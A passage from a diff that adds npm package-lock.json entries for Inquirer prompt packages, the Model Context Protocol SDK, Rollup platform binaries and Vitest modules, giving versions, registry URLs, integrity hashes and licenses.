"https://registry.npmjs.org/@inquirer/ansi/-/ansi-1.0.2.tgz", + "integrity": "sha512-S8qNSZiYzFd0wAcyG5AXCvUHC5Sr7xpZ9wZ2py9XR88jUz8wooStVx5M6dRzczbBWjic9NP7+rY0Xi7qqK/aMQ==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@inquirer/checkbox": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@inquirer/checkbox/-/checkbox-4.3.2.tgz", + "integrity": "sha512-VXukHf0RR1doGe6Sm4F0Em7SWYLTHSsbGfJdS9Ja2bX5/D5uwVOEjr07cncLROdBvmnvCATYEWlHqYmXv2IlQA==", + "license": "MIT", + "dependencies": { + "@inquirer/ansi": "^1.0.2", + "@inquirer/core": "^10.3.2", + "@inquirer/figures": "^1.0.15", + "@inquirer/type": "^3.0.10", + "yoctocolors-cjs": "^2.1.3" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/confirm": { + "version": "5.1.21", + "resolved": "https://registry.npmjs.org/@inquirer/confirm/-/confirm-5.1.21.tgz", + "integrity": "sha512-KR8edRkIsUayMXV+o3Gv+q4jlhENF9nMYUZs9PA2HzrXeHI8M5uDag70U7RJn9yyiMZSbtF5/UexBtAVtZGSbQ==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^10.3.2", + "@inquirer/type": "^3.0.10" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/core": { + "version": "10.3.2", + "resolved": "https://registry.npmjs.org/@inquirer/core/-/core-10.3.2.tgz", + "integrity": "sha512-43RTuEbfP8MbKzedNqBrlhhNKVwoK//vUFNW3Q3vZ88BLcrs4kYpGg+B2mm5p2K/HfygoCxuKwJJiv8PbGmE0A==", + "license": "MIT", + "dependencies": { + "@inquirer/ansi": "^1.0.2", + "@inquirer/figures": "^1.0.15", + "@inquirer/type": "^3.0.10", + "cli-width": "^4.1.0", + "mute-stream": "^2.0.0", + "signal-exit": "^4.1.0", + "wrap-ansi": "^6.2.0", + "yoctocolors-cjs": "^2.1.3" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/editor": { + "version": "4.2.23", + "resolved": "https://registry.npmjs.org/@inquirer/editor/-/editor-4.2.23.tgz", + "integrity": "sha512-aLSROkEwirotxZ1pBaP8tugXRFCxW94gwrQLxXfrZsKkfjOYC1aRvAZuhpJOb5cu4IBTJdsCigUlf2iCOu4ZDQ==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^10.3.2", + "@inquirer/external-editor": "^1.0.3", + "@inquirer/type": "^3.0.10" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/expand": { + "version": "4.0.23", + "resolved": "https://registry.npmjs.org/@inquirer/expand/-/expand-4.0.23.tgz", + "integrity": "sha512-nRzdOyFYnpeYTTR2qFwEVmIWypzdAx/sIkCMeTNTcflFOovfqUk+HcFhQQVBftAh9gmGrpFj6QcGEqrDMDOiew==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^10.3.2", + "@inquirer/type": "^3.0.10", + "yoctocolors-cjs": "^2.1.3" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/external-editor": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@inquirer/external-editor/-/external-editor-1.0.3.tgz", + "integrity": "sha512-RWbSrDiYmO4LbejWY7ttpxczuwQyZLBUyygsA9Nsv95hpzUWwnNTVQmAq3xuh7vNwCp07UTmE5i11XAEExx4RA==", + "license": "MIT", + "dependencies": { + "chardet": "^2.1.1", + "iconv-lite": "^0.7.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/figures": { + "version": "1.0.15", + "resolved": "https://registry.npmjs.org/@inquirer/figures/-/figures-1.0.15.tgz", + "integrity": "sha512-t2IEY+unGHOzAaVM5Xx6DEWKeXlDDcNPeDyUpsRc6CUhBfU3VQOEl+Vssh7VNp1dR8MdUJBWhuObjXCsVpjN5g==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@inquirer/input": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@inquirer/input/-/input-4.3.1.tgz", + "integrity": "sha512-kN0pAM4yPrLjJ1XJBjDxyfDduXOuQHrBB8aLDMueuwUGn+vNpF7Gq7TvyVxx8u4SHlFFj4trmj+a2cbpG4Jn1g==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^10.3.2", + "@inquirer/type": "^3.0.10" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/number": { + "version": "3.0.23", + "resolved": "https://registry.npmjs.org/@inquirer/number/-/number-3.0.23.tgz", + "integrity": "sha512-5Smv0OK7K0KUzUfYUXDXQc9jrf8OHo4ktlEayFlelCjwMXz0299Y8OrI+lj7i4gCBY15UObk76q0QtxjzFcFcg==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^10.3.2", + "@inquirer/type": "^3.0.10" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/password": { + "version": "4.0.23", + "resolved": "https://registry.npmjs.org/@inquirer/password/-/password-4.0.23.tgz", + "integrity": "sha512-zREJHjhT5vJBMZX/IUbyI9zVtVfOLiTO66MrF/3GFZYZ7T4YILW5MSkEYHceSii/KtRk+4i3RE7E1CUXA2jHcA==", + "license": "MIT", + "dependencies": { + "@inquirer/ansi": "^1.0.2", + "@inquirer/core": "^10.3.2", + "@inquirer/type": "^3.0.10" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/prompts": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@inquirer/prompts/-/prompts-7.10.1.tgz", + "integrity": "sha512-Dx/y9bCQcXLI5ooQ5KyvA4FTgeo2jYj/7plWfV5Ak5wDPKQZgudKez2ixyfz7tKXzcJciTxqLeK7R9HItwiByg==", + "license": "MIT", + "dependencies": { + "@inquirer/checkbox": "^4.3.2", + "@inquirer/confirm": "^5.1.21", + "@inquirer/editor": "^4.2.23", + "@inquirer/expand": "^4.0.23", + "@inquirer/input": "^4.3.1", + "@inquirer/number": "^3.0.23", + "@inquirer/password": "^4.0.23", + "@inquirer/rawlist": "^4.1.11", + "@inquirer/search": "^3.2.2", + "@inquirer/select": "^4.4.2" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/rawlist": { + "version": "4.1.11", + "resolved": "https://registry.npmjs.org/@inquirer/rawlist/-/rawlist-4.1.11.tgz", + "integrity": "sha512-+LLQB8XGr3I5LZN/GuAHo+GpDJegQwuPARLChlMICNdwW7OwV2izlCSCxN6cqpL0sMXmbKbFcItJgdQq5EBXTw==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^10.3.2", + "@inquirer/type": "^3.0.10", + "yoctocolors-cjs": "^2.1.3" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/search": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@inquirer/search/-/search-3.2.2.tgz", + "integrity": "sha512-p2bvRfENXCZdWF/U2BXvnSI9h+tuA8iNqtUKb9UWbmLYCRQxd8WkvwWvYn+3NgYaNwdUkHytJMGG4MMLucI1kA==", + "license": "MIT", + "dependencies": { + "@inquirer/core": "^10.3.2", + "@inquirer/figures": "^1.0.15", + "@inquirer/type": "^3.0.10", + "yoctocolors-cjs": "^2.1.3" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/select": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/@inquirer/select/-/select-4.4.2.tgz", + "integrity": "sha512-l4xMuJo55MAe+N7Qr4rX90vypFwCajSakx59qe/tMaC1aEHWLyw68wF4o0A4SLAY4E0nd+Vt+EyskeDIqu1M6w==", + "license": "MIT", + "dependencies": { + "@inquirer/ansi": "^1.0.2", + "@inquirer/core": "^10.3.2", + "@inquirer/figures": "^1.0.15", + "@inquirer/type": "^3.0.10", + "yoctocolors-cjs": "^2.1.3" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@inquirer/type": { + "version": "3.0.10", + "resolved": "https://registry.npmjs.org/@inquirer/type/-/type-3.0.10.tgz", + "integrity": "sha512-BvziSRxfz5Ov8ch0z/n3oijRSEcEsHnhggm4xFZe93DHcUCTlutlq9Ox4SVENAfcRD22UQq7T/atg9Wr3k09eA==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@types/node": ">=18" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@modelcontextprotocol/sdk": { + "version": "1.29.0", + "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.29.0.tgz", + "integrity": "sha512-zo37mZA9hJWpULgkRpowewez1y6ML5GsXJPY8FI0tBBCd77HEvza4jDqRKOXgHNn867PVGCyTdzqpz0izu5ZjQ==", + "license": "MIT", + "dependencies": { + "@hono/node-server": "^1.19.9", + "ajv": "^8.17.1", + "ajv-formats": "^3.0.1", + "content-type": "^1.0.5", + "cors": "^2.8.5", + "cross-spawn": "^7.0.5", + "eventsource": "^3.0.2", + "eventsource-parser": "^3.0.0", + "express": "^5.2.1", + "express-rate-limit": "^8.2.1", + "hono": "^4.11.4", + "jose": "^6.1.3", + "json-schema-typed": "^8.0.2", + "pkce-challenge": "^5.0.0", + "raw-body": "^3.0.0", + "zod": "^3.25 || ^4.0", + "zod-to-json-schema": "^3.25.1" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@cfworker/json-schema": "^4.1.1", + "zod": "^3.25 || ^4.0" + }, + "peerDependenciesMeta": { + "@cfworker/json-schema": { + "optional": true + }, + "zod": { + "optional": false + } + } + }, + "node_modules/@rollup/rollup-android-arm-eabi": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.62.2.tgz", + "integrity": "sha512-6o7ZLZK+BeenkZCFNDXqpbjw9bD6nuWonvS/lwQJp7NoVVxm6p3qE7qQ5jGuBjiFsgvqjD8mZAU5oWxTmbOeOg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-android-arm64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.62.2.tgz", + "integrity": "sha512-BaH7BllCACHoH1LguOU56UItGfUWjujlO65kS9LAodViaN4bwIKd7oeW/ZHJ/4ljr/7MIiENnNy3HJ0zXv8Zkw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ] + }, + "node_modules/@rollup/rollup-darwin-arm64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.62.2.tgz", + "integrity": "sha512-v39RCCvj4He82I9sFmk+M1VZ0PLM9sfsLVikjfx2hYBNALhrrOR2D3JjQA6AhlaSOgcR+RzrKY7e1+bT6SUO/A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-darwin-x64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.62.2.tgz", + "integrity": "sha512-yl0y2vq3S3lHeuXhEdss6TWfKW8vkujImO12tn4ZkG/4oghr09LvdYm2RElVjokTQiUvDUGXLGsYeLqUMCKpGA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@rollup/rollup-freebsd-arm64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.62.2.tgz", + "integrity": "sha512-tT4pvt4qXD+vEoezupCWi+a1F0vvDiksiHc+PxRlYTOH1I6/X4id9jPxTP+Fg+545euaFT1jJVs4CEdHZAU1vw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-freebsd-x64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.62.2.tgz", + "integrity": "sha512-6nU5F2wCW+qvCBhTn1pdIU3bzsIoF7EUwsCDRxilWGprQR6yd508YnH9+OKFCwpfS8pjZqDUmnCAr7exax0XCg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ] + }, + "node_modules/@rollup/rollup-linux-arm-gnueabihf": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.62.2.tgz", + "integrity": "sha512-n1GJHPOvpIfhi3TmrCeh6S6URt9BFCt0KQE3qvexyGCTAKpR4Lg+eWvNZEqu7epxwus/8ElT3hacYEucm49SZg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm-musleabihf": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.62.2.tgz", + "integrity": "sha512-JqgflS8wEB+UXV/vS1RpRbifGBeN4D5lz8D8oOFbFZw4vedvdOgCFAjfBmIMdW3yL10XpQQ0Ambepw6MXrhOnA==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.62.2.tgz", + "integrity": "sha512-wnFJkogWvN4jm/hQRF2UBaeUmk20j5+DmHvoyWii2b8HJDyvz1MF2OU/6ynXt2KR63rbZLWkFpoytpdc/yBuSA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-arm64-musl": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.62.2.tgz", + "integrity": "sha512-HVu2bp0zhvJ8xHEV9+UUs7S90VadmBSY3LcIMvozbPo4AuMGDWlz3ymHLHZPX4hR67TKTt8Qp5PJ5RBg/i+RMQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.62.2.tgz", + "integrity": "sha512-mQqqAV8QaoSgr9I2fKDLY2BAVvmKjWoGiu/cSYQonsLvtqwEn1E4QYfnCOcp5zoEqNhsDYin1s6jx/VJmrxlZg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-loong64-musl": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.62.2.tgz", + "integrity": "sha512-IxKLoxCQ2IWi6bT2akyDUBGsOImDKB+sPp4EsTmwFQ/fMwpCKm8uLSSgP/Kx/QYUgKis6SEZ5/Nlhup0DIA0PQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.62.2.tgz", + "integrity": "sha512-Mk5ha2RQSgyFfmYYLkBpPnUk8D8FriBxesO1u9O75X0mHgXL1UQcH5Itl2lurWL2tj0RxV9b9tJgipac0hRY9A==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-ppc64-musl": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.62.2.tgz", + "integrity": "sha512-CjvEnqJL/0/TQ3TXX3OPIJ/kmBellrWd4heXUmHeJlTnmwjKpSJzoehLaL6Xk0ZnMHBu9dZuFADNOrtjF4v+2w==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.62.2.tgz", + "integrity": "sha512-1SiZbzwdkaDURsew/tSOrooKiYy7EQGT6m8ufavAi9NEyQb/6VuIxFXAL1fqa4iZe3g4NbNk4P7J32z2tw5Mgg==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-riscv64-musl": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.62.2.tgz", + "integrity": "sha512-nQts12zJ3NQRoE6uYljOH89v7szzLDvG2JD/vsX+vGXU8w/At1GowTZ5/7qeFQ8m7L55rpR8Okugnuo5bgjy2Q==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-s390x-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.62.2.tgz", + "integrity": "sha512-E9/ll019jhPIJgpzfZoIkBGhcz+kKNgVWYRY0zr9srBdPPFVpvOKW8VaJKUbeK+eZXyQF9ltME+Kk6affeaPgg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.62.2.tgz", + "integrity": "sha512-5BqxR/pshjey51iliyzTD5Xi3EN0aLmQ2lZ3lvefVV9c82BvrLo2/6OT55iifpWBufs6kdwWbuOKS841DrmK9A==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-linux-x64-musl": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.62.2.tgz", + "integrity": "sha512-uNN83XxQrRAh/w0/pmAfibcwyb6YWt4gP+dpnQKPVJshAloQ785ii8CT8ZCIxkGg9opVsvAlGhFitSm6D1Jjpg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@rollup/rollup-openbsd-x64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.62.2.tgz", + "integrity": "sha512-srjEIxSH3LRnJN6THczDHWQplqEMFiAJrTab0msUryh9kwNpkICf3Ea6q6MN/2cZwRFUNx5w+h6Hpi4QuHS6Zg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ] + }, + "node_modules/@rollup/rollup-openharmony-arm64": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.62.2.tgz", + "integrity": "sha512-8hOJnxgbyObnCm5AlRA3A931xX19xq80RjVTKgJOvEKWqJruP/Uf12IbAOaDjjEXYRewwHLfmF0YRIdK3OwKWA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, + "node_modules/@rollup/rollup-win32-arm64-msvc": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.62.2.tgz", + "integrity": "sha512-mmF4AY1i0hG/bLWUctUq59gtmgaSIRa3cu/A3JFRp/sCNEme2bgDEiDS22P9FbnJB8NJNF4jPJiSP5RHQpUTDg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-ia32-msvc": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.62.2.tgz", + "integrity": "sha512-DZgkknc6jhHrk46V25vbAM0zZkyP0nSDkJB8/dRkLTxv470dOmWDqGoEJl/9A0dFfS7yE3REOwNDxpHwSLSt0Q==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-gnu": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.62.2.tgz", + "integrity": "sha512-T6xr6ucWSFto+VGajA8YH26LdpHRuP4YLHEKAtCWvJDOlnmWcDZVCI2Jmjr+IFHDlt2zRaTAKE4tfjTaWLgJBg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@rollup/rollup-win32-x64-msvc": { + "version": "4.62.2", + "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.62.2.tgz", + "integrity": "sha512-BfzEnDJOt9T8M989/lA37EcJgat01wLRnoi5dQf3QzOH7jzpqTAzdDbVfRljVr5r+jzKqpbHeyOfAaXxAd0PAA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "22.20.1", + "resolved": "https://registry.npmjs.org/@types/node/-/node-22.20.1.tgz", + "integrity": "sha512-EANqOCF9QFyra+4pfxUcX9STKJpCLjMbObVzljIJomAWSnuSIEAvyzEU53GaajbXJEgdh0iEcPL+DGvpUd4k1Q==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "undici-types": "~6.21.0" + } + }, + "node_modules/@vitest/expect": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-2.1.9.tgz", + "integrity": "sha512-UJCIkTBenHeKT1TTlKMJWy1laZewsRIzYighyYiJKZreqtdxSos/S1t+ktRMQWu2CKqaarrkeszJx1cgC5tGZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "2.1.9", + "@vitest/utils": "2.1.9", + "chai": "^5.1.2", + "tinyrainbow": "^1.2.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/mocker": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-2.1.9.tgz", + "integrity": "sha512-tVL6uJgoUdi6icpxmdrn5YNo3g3Dxv+IHJBr0GXHaEdTcw3F+cPKnsXFhli6nO+f/6SDKPHEK1UN+k+TQv0Ehg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/spy": "2.1.9", + "estree-walker": "^3.0.3", + "magic-string": "^0.30.12" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "msw": "^2.4.9", + "vite": "^5.0.0" + }, + "peerDependenciesMeta": { + "msw": { + "optional": true + }, + "vite": { + "optional": true + } + } + }, + "node_modules/@vitest/pretty-format": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-2.1.9.tgz", + "integrity": "sha512-KhRIdGV2U9HOUzxfiHmY8IFHTdqtOhIzCpd8WRdJiE7D/HUcZVD0EgQCVjm+Q9gkUXWgBvMmTtZgIG48wq7sOQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tinyrainbow": "^1.2.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-2.1.9.tgz", + "integrity": "sha512-ZXSSqTFIrzduD63btIfEyOmNcBmQvgOVsPNPe0jYtESiXkhd8u2erDLnMxmGrDCwHCCHE7hxwRDCT3pt0esT4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/utils": "2.1.9", + "pathe": "^1.1.2" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/runner/node_modules/pathe": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz", + "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@vitest/snapshot": { + "version": "2.1.9", + "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-2.1.9.tgz", + "integrity": "sha512-oBO82rEjsxLNJincVhLhaxxZdEtV0EFHMK5Kmx5sJ6H9L183dHECjiefOAdnqpIgT5eZwT04PoggUnW88vOBNQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/pretty-format": "2.1.9", + "magic-string": "^0.30.12", + "pathe": "^1.1.2" + }, + "funding": { + "url": "https://opencollective.com/vitest" + } + }, + "node_modules/@vitest/snapshot/node_modules/pathe": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz", + "integrity": 